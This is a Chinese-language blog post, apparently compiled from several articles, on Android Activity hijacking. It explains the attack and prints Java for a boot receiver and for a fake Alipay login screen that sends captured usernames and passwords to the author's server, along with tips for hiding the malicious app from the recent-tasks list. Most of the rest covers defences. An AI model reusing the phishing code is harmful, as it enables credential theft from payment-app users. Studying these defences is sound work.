Android之Activity界面劫持反劫持
總結(jié):
Activity劫持原理
1、注冊一個receiver,響應(yīng)android.intent.action.BOOT_COMPLETED,使得開機啟動一個service;這個service,會啟動一個計時器,不停循環(huán)查詢所有當前運行的進程(因為app可以枚舉系統(tǒng)當前運行進程而無需聲明其他權(quán)限)
2、一旦發(fā)現(xiàn)當前某一進程的Activity正是我們想要劫持的,并運行在前臺,我們立馬使用FLAG_ACTIVITY_NEW_TASK啟動自己的釣魚界面并置于棧頂覆蓋掉之前的activity,獲得用戶敏感信息并發(fā)送到服務(wù)器。
3、AndroidMainfest配置文件中加入andorid:excludeFromRecent="true"這一項可以防止我們的惡意程序在最近訪問列表中出現(xiàn)(這一項實際不影響劫持的發(fā)生,只是增加其危險性,防止被發(fā)現(xiàn))
防范手段:
當主的activity退到后臺后,彈出一下提示信息提示用戶,程序已經(jīng)退到后臺了。
?
?
什么是Activity劫持
? ? ? ?簡單的說就是APP正常的Activity界面被惡意攻擊者替換上仿冒的惡意Activity界面進行攻擊和非法用途。界面劫持攻擊通常難被識別出來,其造成的后果不僅會給用戶帶來嚴重損失,更是移動應(yīng)用開發(fā)者們的惡夢。舉個例子來說,當用戶打開安卓手機上的某一應(yīng)用,進入到登陸頁面,這時,惡意軟件偵測到用戶的這一動作,立即彈出一個與該應(yīng)用界面相同的Activity,覆蓋掉了合法的Activity,用戶幾乎無法察覺,該用戶接下來輸入用戶名和密碼的操作其實是在惡意軟件的Activity上進行的,最終會發(fā)生什么就可想而知了。
Activity界面被劫持的原因
? ? ? ?很多網(wǎng)友發(fā)現(xiàn),如果在啟動一個Activity時,給它加入一個標志位FLAG_ACTIVITY_NEW_TASK,就能使它置于棧頂并立馬呈現(xiàn)給用戶。針對這一操作,假使這個Activity是用于盜號的偽裝Activity呢?在Android系統(tǒng)當中,程序可以枚舉當前運行的進程而不需要聲明其他權(quán)限,這樣子我們就可以寫一個程序,啟動一個后臺的服務(wù),這個服務(wù)不斷地掃描當前運行的進程,當發(fā)現(xiàn)目標進程啟動時,就啟動一個偽裝的Activity。如果這個Activity是登錄界面,那么就可以從中獲取用戶的賬號密碼。?
常見的攻擊手段
-
監(jiān)聽系統(tǒng)Logocat日志,一旦監(jiān)聽到發(fā)生Activity界面切換行為,即進行攻擊,覆蓋上假冒Activity界面實施欺騙。開發(fā)者通常都知道,系統(tǒng)的Logcat日志會由ActivityManagerService打印出包含了界面信息的日志文件,惡意程序就是通過Logocat獲取這些信息,從而監(jiān)控客戶端的啟動、Activity界面的切換。
-
監(jiān)聽系統(tǒng)API,一旦惡意程序監(jiān)聽到相關(guān)界面的API組件調(diào)用,即可發(fā)起攻擊。
- 逆向APK,惡意攻擊者通過反編譯和逆向分析APK,了解應(yīng)用的業(yè)務(wù)邏輯之后針對性的進行Activity界面劫持攻擊
1、Activity調(diào)度機制
android為了提高用戶的用戶體驗,對于不同的應(yīng)用程序之間的切換,基本上是無縫。他們切換的只是一個activity,讓切換的到前臺顯示,另一個應(yīng)用則被覆蓋到后臺,不可見。Activity的概念相當于一個與用戶交互的界面。而Activity的調(diào)度是交由Android系統(tǒng)中的AmS管理的。AmS即ActivityManagerService(Activity管理服務(wù)),各個應(yīng)用想啟動或停止一個進程,都是先報告給AmS。?當AmS收到要啟動或停止Activity的消息時,它先更新內(nèi)部記錄,再通知相應(yīng)的進程運行或停止指定的Activity。當新的Activity啟動,前一個Activity就會停止,這些Activity都保留在系統(tǒng)中的一個Activity歷史棧中。每有一個Activity啟動,它就壓入歷史棧頂,并在手機上顯示。當用戶按下back鍵時,頂部Activity彈出,恢復(fù)前一個Activity,棧頂指向當前的Activity。?
?
2、Android設(shè)計上的缺陷——Activity劫持?
如果在啟動一個Activity時,給它加入一個標志位FLAG_ACTIVITY_NEW_TASK,就能使它置于棧頂并立馬呈現(xiàn)給用戶。?
但是這樣的設(shè)計卻有一個缺陷。如果這個Activity是用于盜號的偽裝Activity呢??
在Android系統(tǒng)當中,程序可以枚舉當前運行的進程而不需要聲明其他權(quán)限,這樣子我們就可以寫一個程序,啟動一個后臺的服務(wù),這個服務(wù)不斷地掃描當前運行的進程,當發(fā)現(xiàn)目標進程啟動時,就啟動一個偽裝的Activity。如果這個Activity是登錄界面,那么就可以從中獲取用戶的賬號密碼。?
?一個運行在后臺的服務(wù)可以做到如下兩點:1,決定哪一個activity運行在前臺 ?2,運行自己app的activity到前臺。
?這樣,惡意的開發(fā)者就可以對應(yīng)程序進行攻擊了,對于有登陸界面的應(yīng)用程序,他們可以偽造一個一模一樣的界面,普通用戶根本無法識別是真的還是假。用戶輸入用戶名和密碼之后,惡意程序就可以悄無聲息的把用戶信息上傳到服務(wù)器了。這樣是非常危險的。
?
3、示例?
下面是示例代碼。?
AndroidManifest.xml文件的代碼。
在以上的代碼中,聲明了一個服務(wù)service,用于枚舉當前運行的進程。其中如果不想開機啟動的話,甚至可以把以上receiver部分的代碼,及聲明開機啟動的權(quán)限的這一行代碼 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,僅僅需要訪問網(wǎng)絡(luò)的權(quán)限(向外發(fā)送獲取到的賬號密碼),單從AndroidManifest文件是看不出任何異常的。?
下面是正常的Activity的代碼。在這里只是啟動用于Activity劫持的服務(wù)。如果在上面的代碼中已經(jīng)聲明了開機啟動,則這一步也可以省略。?
如果想要開機啟動,則需要一個receiver,即廣播接收器,在開機時得到開機啟動的廣播,并在這里啟動服務(wù)。如果沒有開機啟動(這跟上面至少要實現(xiàn)一處,不然服務(wù)就沒有被啟動了),則這一步可以省略。
package com.sinaapp.msdxblog.android.activityhijacking.receiver; import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class HijackingReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) { Log.w("hijacking", "開機啟動"); Intent intent2 = new Intent(context, HijackingService.class); context.startService(intent2); Log.w("hijacking", "啟動用來劫持的Service"); } } }?
下面這個HijackingService類可就關(guān)鍵了,即用來進行Activity劫持的。?
在這里,將運行枚舉當前運行的進程,發(fā)現(xiàn)目標進程,彈出偽裝程序。?
代碼如下:
?
編寫HijackingApplication類,代碼如下:
[java]?view plain?copy
說明:這個類的主要功能是,保存已經(jīng)劫持過的包名,防止我們多次劫持增加暴露風險。
?
下面是支付寶的偽裝類。
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories; import android.app.Activity; import android.os.Bundle; import android.os.Handler; import android.os.HandlerThread; import android.text.Html; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; import com.sinaapp.msdxblog.android.activityhijacking.R; import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil; public class AlipayStoryActivity extends Activity { private EditText name; private EditText password; private Button mBtAlipay; private Button mBtTaobao; private Button mBtRegister; private TextView mTvFindpswd; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setTheme(android.R.style.Theme_NoTitleBar); setContentView(R.layout.alipay); mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay); mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao); mBtRegister = (Button) findViewById(R.id.alipay_bt_register); mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd); mTvFindpswd.setText(Html.fromHtml("[u]找回登錄密碼[/u]")); mBtAlipay.setSelected(true); name = (EditText) findViewById(R.id.input_name); password = (EditText) findViewById(R.id.input_password); } public void onButtonClicked(View v) { switch (v.getId()) { case R.id.alipay_bt_login: HandlerThread handlerThread = new HandlerThread("send"); handlerThread.start(); new Handler(handlerThread.getLooper()).post(new Runnable() { @Override public void run() { // 發(fā)送獲取到的用戶密碼 SendUtil.sendInfo(name.getText().toString(), password.getText().toString(), "支付寶"); } }); moveTaskToBack(true); break; case R.id.alipay_bt_alipay: chooseToAlipay(); break; case R.id.alipay_bt_taobao: chooseToTaobao(); break; default: break; } } private void chooseToAlipay() { mBtAlipay.setSelected(true); mBtTaobao.setSelected(false); name.setHint(R.string.alipay_name_alipay_hint); mTvFindpswd.setVisibility(View.VISIBLE); mBtRegister.setVisibility(View.VISIBLE); } private void chooseToTaobao() { mBtAlipay.setSelected(false); mBtTaobao.setSelected(true); name.setHint(R.string.alipay_name_taobao_hint); mTvFindpswd.setVisibility(View.GONE); mBtRegister.setVisibility(View.GONE); } }?
布局文件activity_main.xml
<?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" > <LinearLayoutandroid:id="@+id/linear"android:orientation="vertical"android:layout_width="match_parent"android:layout_height="wrap_content"><LinearLayoutandroid:orientation="horizontal"android:layout_width="match_parent"android:layout_height="wrap_content"><TextViewandroid:textSize="18sp"android:text="賬號:"android:layout_width="wrap_content"android:layout_height="wrap_content" /><EditTextandroid:visibility="invisible"android:id="@+id/user"android:hint="賬號"android:layout_width="match_parent"android:layout_height="wrap_content" /></LinearLayout><LinearLayoutandroid:orientation="horizontal"android:layout_width="match_parent"android:layout_height="wrap_content"><TextViewandroid:textSize="18sp"android:text="密碼:"android:layout_width="wrap_content"android:layout_height="wrap_content" /><EditTextandroid:visibility="invisible"android:id="@+id/pass"android:hint="密碼"android:layout_width="match_parent"android:layout_height="wrap_content" /></LinearLayout> </LinearLayout> <Buttonandroid:visibility="invisible"android:id="@+id/login"android:layout_below="@id/linear"android:layout_width="wrap_content"android:layout_height="wrap_content"android:text="登錄" /> </RelativeLayout>?
?
?
上面的其他代碼主要是為了讓界面的點擊效果與真的支付寶看起來盡量一樣。主要的代碼是發(fā)送用戶密碼的那一句。?
?
編寫SendUtil,它是向我寫的服務(wù)器端發(fā)送一個HTTP請求,將用戶密碼發(fā)送出去。?代碼如下:
?
?
[java]?view plain?copy
說明:這個類需要添加兩個jar包,我使用的是httpclient-4.2.5.jar,一個httpcore-4.2.4.jar
?
4、用戶防范?
android手機均有一個HOME鍵(即小房子的那個圖標),長按可以看到近期任務(wù) 對于我所用的HTC G14而言,顯示的最近的一個是上一個運行的程序。小米顯示的最近的一個是當前運行的程序。所以,在要輸入密碼進行登錄時,可以通過長按HOME鍵查看近期任務(wù),以我的手機為例,如果在登錄QQ時長按發(fā)現(xiàn)近期任務(wù)出現(xiàn)了QQ,則我現(xiàn)在的這個登錄界面就極有可能是偽裝了,切換到另一個程序,再查看近期任務(wù),就可以知道這個登錄界面是來源于哪個程序了。?
如果是小米手機的話,在進行登錄時,如果查看的近期任務(wù)的第一個不是自己要登錄的那個程序的名字,則它就是偽裝的。?
?
而且這種方法也不是絕對的 ?可以在AndroidManifest中相應(yīng)activity下添加android:noHistory="true"這樣就不會把偽裝界面顯示在最近任務(wù)中
?
5、反劫持
然而,如果真的爆發(fā)了這種惡意程序,我們并不能在啟動程序時每一次都那么小心去查看判斷當前在運行的是哪一個程序,當android:noHistory="true"時上面的方法也無效 ??因此,前幾個星期花了一點時間寫了一個程序,叫反劫持助手。原理很簡單,就是獲取當前運行的是哪一個程序,并且顯示在一個浮動窗口中,以幫忙用戶判斷當前運行的是哪一個程序,防范一些釣魚程序的欺騙。
在這一次,由于是“正當防衛(wèi)”,就不再通過枚舉來獲取當前運行的程序了,在manifest文件中增加一個權(quán)限:?
android權(quán)限
[html]?view plain?copy
然后啟動程序的時候,啟動一個Service,在Service中啟動一個浮動窗口,并周期性檢測當前運行的是哪一個程序,然后顯示在浮動窗口中。?
程序截圖如下:?
?
其中Service代碼如下:
package com.sinaapp.msdxblog.antihijacking.service; import android.app.ActivityManager; import android.app.Notification; import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.content.pm.PackageManager.NameNotFoundException; import android.os.Bundle; import android.os.Handler; import android.os.IBinder; import android.os.Message; import android.util.Log; import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory; import com.sinaapp.msdxblog.antihijacking.AntiConstants; import com.sinaapp.msdxblog.antihijacking.view.AntiView; public class AntiService extends Service { private boolean shouldLoop = false; private Handler handler; private ActivityManager am; private PackageManager pm; private Handler mainHandler; private AntiView mAntiView; private int circle = 2000; @Override public IBinder onBind(Intent intent) { return null; } @Override public void onStart(Intent intent, int startId) { super.onStart(intent, startId); startForeground(19901008, new Notification()); if (intent != null) { circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000); } Log.i("circle", circle + "ms"); if (true == shouldLoop) { return; } mAntiView = new AntiView(this); mainHandler = new Handler() { public void handleMessage(Message msg) { String name = msg.getData().getString("name"); mAntiView.setText(name); }; }; pm = getPackageManager(); shouldLoop = true; am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); handler = new Handler(HandlerFactory.getHandlerLooperInOtherThread("anti")) { @Override public void handleMessage(Message msg) { super.handleMessage(msg); String packageName = am.getRunningTasks(1).get(0).topActivity.getPackageName(); try { String progressName = pm.getApplicationLabel(pm.getApplicationInfo(packageName, PackageManager.GET_META_DATA)).toString();updateText(progressName); } catch (NameNotFoundException e) { e.printStackTrace(); } if (shouldLoop) { handler.sendEmptyMessageDelayed(0, circle); } } }; handler.sendEmptyMessage(0); } private void updateText(String name) { Message message = new Message(); Bundle data = new Bundle(); data.putString("name", name); message.setData(data); mainHandler.sendMessage(message); } @Override public void onDestroy() { shouldLoop = false; mAntiView.remove(); super.onDestroy(); } }浮動窗口僅為一個簡單的textview,非此次的技術(shù)重點,在這里省略不講。?
當然,從以上代碼也可以看出本程序只能防范通過Activity作為釣魚界面的程序,因為它是通過運行的頂層的Activity來獲取程序名稱的,對WooYun最近提到的另一個釣魚方法它還是無能為力的,關(guān)于這一點將在下次談。?
?
?
防護
目前,對activity劫持的防護,只能是適當給用戶警示信息。一些簡單的防護手段就是顯示當前運行的進程提示框。
梆梆加固則是在進程切換的時候給出提示,并使用白名單過濾。
解決辦法
這是系統(tǒng)漏洞,在應(yīng)用程序中很難去防止這種界面支持。但應(yīng)用程序自身可以增加一些防范實施。?
防范實施:?
1. 開啟守護進程,當發(fā)現(xiàn)應(yīng)用程序不在棧頂時,在屏幕最上層創(chuàng)建一個懸浮小窗口(提示信息與客戶確定),以提醒用戶。?
2. 使用搶占式,即與劫持程序搶占棧頂。?
3. 在應(yīng)用切到后臺時,在通知欄彈出通知提示。
以上三種防范措施都是可取的,但是其中第二種,搶占式的搶占棧頂這種做法,頻繁出現(xiàn)的話,用戶會非常反感,于是,我們最終的方案是結(jié)合第一種和第三種方法來處理:app被切到后臺后Toast彈框并在通知欄顯示一條通知。(提醒用戶,app被切到后臺運行)
具體實施
1. 在Activity的各生命周期中啟動或者停止服務(wù)(在onResume中開啟service,在onStart和onDestory中關(guān)閉service)
示例:@Override protected void onPause() {Intent intent = new Intent();intent.putExtra("pageName", this.getComponentName().getPackageName());intent.putExtra("className", this.getComponentName().getClassName());intent.setClass(this, AppStatusService.class);startService(intent); }public void onResume() {Intent intent = new Intent();intent.putExtra("pageName", this.getComponentName().getPackageName());intent.putExtra("className", this.getComponentName().getClassName());intent.setClass(this, AppStatusService.class);stopService(intent); }@Override public void onDestroy() {Intent intent = new Intent();intent.setClass(this, AppStatusService.class);stopService(intent); }2. 編寫具體的Service邏輯
/*** 應(yīng)用是否在前臺運行* * @return true:在前臺運行;false:已經(jīng)被切到后臺了*/ private boolean isAppOnForeground() {List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();if (appProcesses != null) {for (RunningAppProcessInfo appProcess : appProcesses) {if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {if (appProcess.processName.equals(packageName)) {return true;}}}}return false; } /*** 定義一個timerTask來發(fā)通知和彈出Toast*/ TimerTask timerTask = new TimerTask() {@Overridepublic void run() {if (!isAppOnForeground()) {isAppBackground = true;//發(fā)通知showNotification();//彈出Toast提示MainActivity.mCurrentActivity.runOnUiThread(new Runnable() {@Overridepublic void run() {Toast.makeText(getApplicationContext(),getApplicationContext().getString(R.string.pervent_hijack_mes), Toast.LENGTH_SHORT).show();}});mTimer.cancel();}} }; /*** 彈出通知提示*/ private void showNotification() {NotificationManager notificationManager = (NotificationManager) getSystemService(android.content.Context.NOTIFICATION_SERVICE);Notification notification = new Notification(R.drawable.icon, "xx銀行", System.currentTimeMillis());notification.defaults |= Notification.DEFAULT_VIBRATE;// 設(shè)置震動notification.defaults |= Notification.DEFAULT_LIGHTS;// 設(shè)置LED燈提醒notification.flags |= Notification.FLAG_NO_CLEAR;// 通知不可被狀態(tài)欄的清除按鈕清除掉notification.flags |= Notification.FLAG_ONGOING_EVENT;// 通知放置在 正在運行Intent intent = new Intent();intent.setAction(Intent.ACTION_MAIN);intent.putExtra("notification", "notification");intent.setClassName(packageName, className);// 修改vivo手機點擊通知欄不返回intent.addCategory(Intent.CATEGORY_LAUNCHER);// 增加Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED用于正常的從后臺再次返回到原來退出時的頁面中intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);PendingIntent pendingInt = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT);String temp = "";notification.setLatestEventInfo(this, "xx手機銀行", "手機銀行已經(jīng)被切到后臺運行" + temp, pendingInt);// 設(shè)置服務(wù)的級別,使其不容易被kill掉,解決后臺返回前臺黑屏的問題startForeground(1, notification); }3. 在onStart中執(zhí)行timer
@Override public void onStart(Intent intent, int startId) {try {Bundle bundle = null;if (intent != null) {bundle = intent.getExtras();}if (bundle != null) {className = bundle.getString("className");}// 通過計時器延遲執(zhí)行mTimer.schedule(timerTask, 50, 50);} catch (Exception e) {e.printStackTrace();} }具體效果如圖:
補充內(nèi)容
根據(jù)importance的不同來判斷前臺或后臺?
RunningAppProcessInfo 里面的常量IMOPORTANCE就是上面所說的前臺后臺,其實IMOPORTANCE是表示這個app進程的重要性,因為系統(tǒng)回收時候,會根據(jù)IMOPORTANCE來回收進程的。具體可以去看文檔。?
public static final int IMPORTANCE_BACKGROUND = 400//后臺?
public static final int IMPORTANCE_EMPTY = 500//空進程?
public static final int IMPORTANCE_FOREGROUND =100//在屏幕最前端、可獲取到焦點 可理解為Activity生命周期的OnResume();?
public static final int IMPORTANCE_SERVICE = 300//在服務(wù)中?
public static final int IMPORTANCE_VISIBLE = 200//在屏幕前端、獲取不到焦點可理解為Activity生命周期的OnStart();
防護手段
?
目前,還沒有什么專門針對Activity劫持的防護方法,因為,這種攻擊是用戶層面上的,目前還無法從代碼層面上根除。但是,我們可以適當?shù)卦贏PP中給用戶一些警示信息,提示用戶其登陸界面以被覆蓋,并給出覆蓋正常Activity的類名,示例如下:
首先,在前正常的登錄Activity界面中重寫onKeyDown方法和onPause方法,這樣一來,當其被覆蓋時,就能夠彈出警示信息,代碼如下:
@Overridepublic boolean onKeyDown(int keyCode, KeyEvent event) {//判斷程序進入后臺是否是用戶自身造成的(觸摸返回鍵或HOME鍵),是則無需彈出警示。if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){needAlarm = false;}return super.onKeyDown(keyCode, event);}@Overrideprotected void onPause() {//若程序進入后臺不是用戶自身造成的,則需要彈出警示if(needAlarm) {//彈出警示信息Toast.makeText(getApplicationContext(), "您的登陸界面被覆蓋,請確認登陸環(huán)境是否安全", Toast.LENGTH_SHORT).show();//啟動我們的AlarmService,用于給出覆蓋了正常Activity的類名Intent intent = new Intent(this, AlarmService.class);startService(intent);}super.onPause();}然后實現(xiàn)AlarmService.java,并在在AndroidManifest.xml中注冊
import android.app.ActivityManager; import android.app.Service; import android.content.Context; import android.content.Intent; import android.os.Handler; import android.os.IBinder; import android.widget.Toast;public class AlarmService extends Service{boolean isStart = false;Handler handler = new Handler();Runnable alarmRunnable = new Runnable() {@Overridepublic void run() {//得到ActivityManagerActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);//getRunningTasks會返回一個List,List的大小等于傳入的參數(shù)。//get(0)可獲得List中的第一個元素,即棧頂?shù)膖askActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);//得到當前棧頂?shù)念惷?#xff0c;按照需求,也可以得到完整的類名和包名String shortClassName = info.topActivity.getShortClassName(); //類名//完整類名//String className = info.topActivity.getClassName();//包名//String packageName = info.topActivity.getPackageName();Toast.makeText(getApplicationContext(), "當前運行的程序為"+shortClassName, Toast.LENGTH_LONG).show();}};@Overridepublic int onStartCommand(Intent intent, int flag, int startId) {super.onStartCommand(intent, flag, startId);if(!isStart) {isStart = true;//啟動alarmRunnablehandler.postDelayed(alarmRunnable, 1000);stopSelf();}return START_STICKY;}@Overridepublic IBinder onBind(Intent intent) {return null;} }在用戶使用app的時候,如果被惡意程序劫持跳轉(zhuǎn)到別的界面,這個時候我們就要做出預(yù)警提示用戶,告訴用戶當前界面已經(jīng)不是我們的app有潛在的危險.代碼的工作原理很簡單就是在我們所寫的activity對象的Onstop生命周期判斷,將要跳轉(zhuǎn)的界面是否是安全的。具體代碼如下:
public class AntiHijackingUtil { public static final String TAG = "AntiHijackingUtil"; // 白名單列表 private static List<String> safePackages; static { safePackages = new ArrayList<String>(); } public static void configSafePackages(List<String> packages) { return; } private static PackageManager pm; private List<ApplicationInfo> mlistAppInfo; /** * 檢測當前Activity是否安全 */ public static boolean checkActivity(Context context) { boolean safe = false; pm = context.getPackageManager(); // 查詢所有已經(jīng)安裝的應(yīng)用程序 List<ApplicationInfo> listAppcations = pm.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES); Collections.sort(listAppcations,new ApplicationInfo.DisplayNameComparator(pm));// 排序 List<ApplicationInfo> appInfos = new ArrayList<ApplicationInfo>(); // 保存過濾查到的AppInfo //appInfos.clear(); for (ApplicationInfo app : listAppcations) {//這個排序必須有. if ((app.flags & ApplicationInfo.FLAG_SYSTEM) != 0) { //appInfos.add(getAppInfo(app)); safePackages.add(app.packageName); } } //得到所有的系統(tǒng)程序包名放進白名單里面. ActivityManager activityManager =(ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); String runningActivityPackageName; int sdkVersion; try { sdkVersion = Integer.valueOf(android.os.Build.VERSION.SDK); } catch (NumberFormatException e) { sdkVersion = 0; } if(sdkVersion>=21){//獲取系統(tǒng)api版本號,如果是5x系統(tǒng)就用這個方法獲取當前運行的包名 runningActivityPackageName= getCurrentPkgName(context); } else runningActivityPackageName=activityManager.getRunningTasks(1).get(0).topActivity.getPackageName(); //如果是4x及以下,用這個方法. if(runningActivityPackageName!=null){//有些情況下在5x的手機中可能獲取不到當前運行的包名,所以要非空判斷。 if (runningActivityPackageName.equals(context.getPackageName())) { safe = true; } // 白名單比對 for (String safePack : safePackages) { if (safePack.equals(runningActivityPackageName)) { safe = true; } } } return safe; } public static String getCurrentPkgName(Context context) {//5x系統(tǒng)以后利用反射獲取當前棧頂activity的包名. ActivityManager.RunningAppProcessInfo currentInfo = null; Field field = null; int START_TASK_TO_FRONT = 2; String pkgName = null; try { field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");//通過反射獲取進程狀態(tài)字段. } catch (Exception e) { e.printStackTrace(); } ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); List appList = am.getRunningAppProcesses(); ActivityManager.RunningAppProcessInfo app; for (int i=0;i<appList.size();i++){ //ActivityManager.RunningAppProcessInfo app : appList app=(RunningAppProcessInfo) appList.get(i); if (app.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {//表示前臺運行進程. Integer state = null; try { state = field.getInt(app);//反射調(diào)用字段值的方法,獲取該進程的狀態(tài). } catch (Exception e) { e.printStackTrace(); } if (state != null && state == START_TASK_TO_FRONT) {//根據(jù)這個判斷條件從前臺中獲取當前切換的進程對象. currentInfo = app; break; } } } if (currentInfo != null) { pkgName = currentInfo.processName; } return pkgName; } }代碼的使用方法也很簡單,只需要在你自己寫的Activity的Onstop中調(diào)用boolean safe = AntiHijackingUtil.checkActivity(this);即可得到跳轉(zhuǎn)的界面是否需要提示.?這里要說明一下?getCurrentPkgName()在有些5x手機也無法獲取當前跳入的界面的包名,有了解的還請?zhí)崾疽幌?#xff0c;謝謝。
?
參考:
http://blog.csdn.net/u012195899/article/details/70172241
http://blog.csdn.net/xwh_1230/article/details/60145186
http://blog.chinaunix.net/uid-29170659-id-4930737.html
http://blog.csdn.net/sinat_26533265/article/details/51171013
http://blog.csdn.net/mynameishuangshuai/article/details/52870793
http://blog.csdn.net/forrey/article/details/48518855
?
總結(jié)
以上是生活随笔為你收集整理的Android之Activity界面劫持反劫持的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: greensock下载_初识GreenS
- 下一篇: android sina oauth2.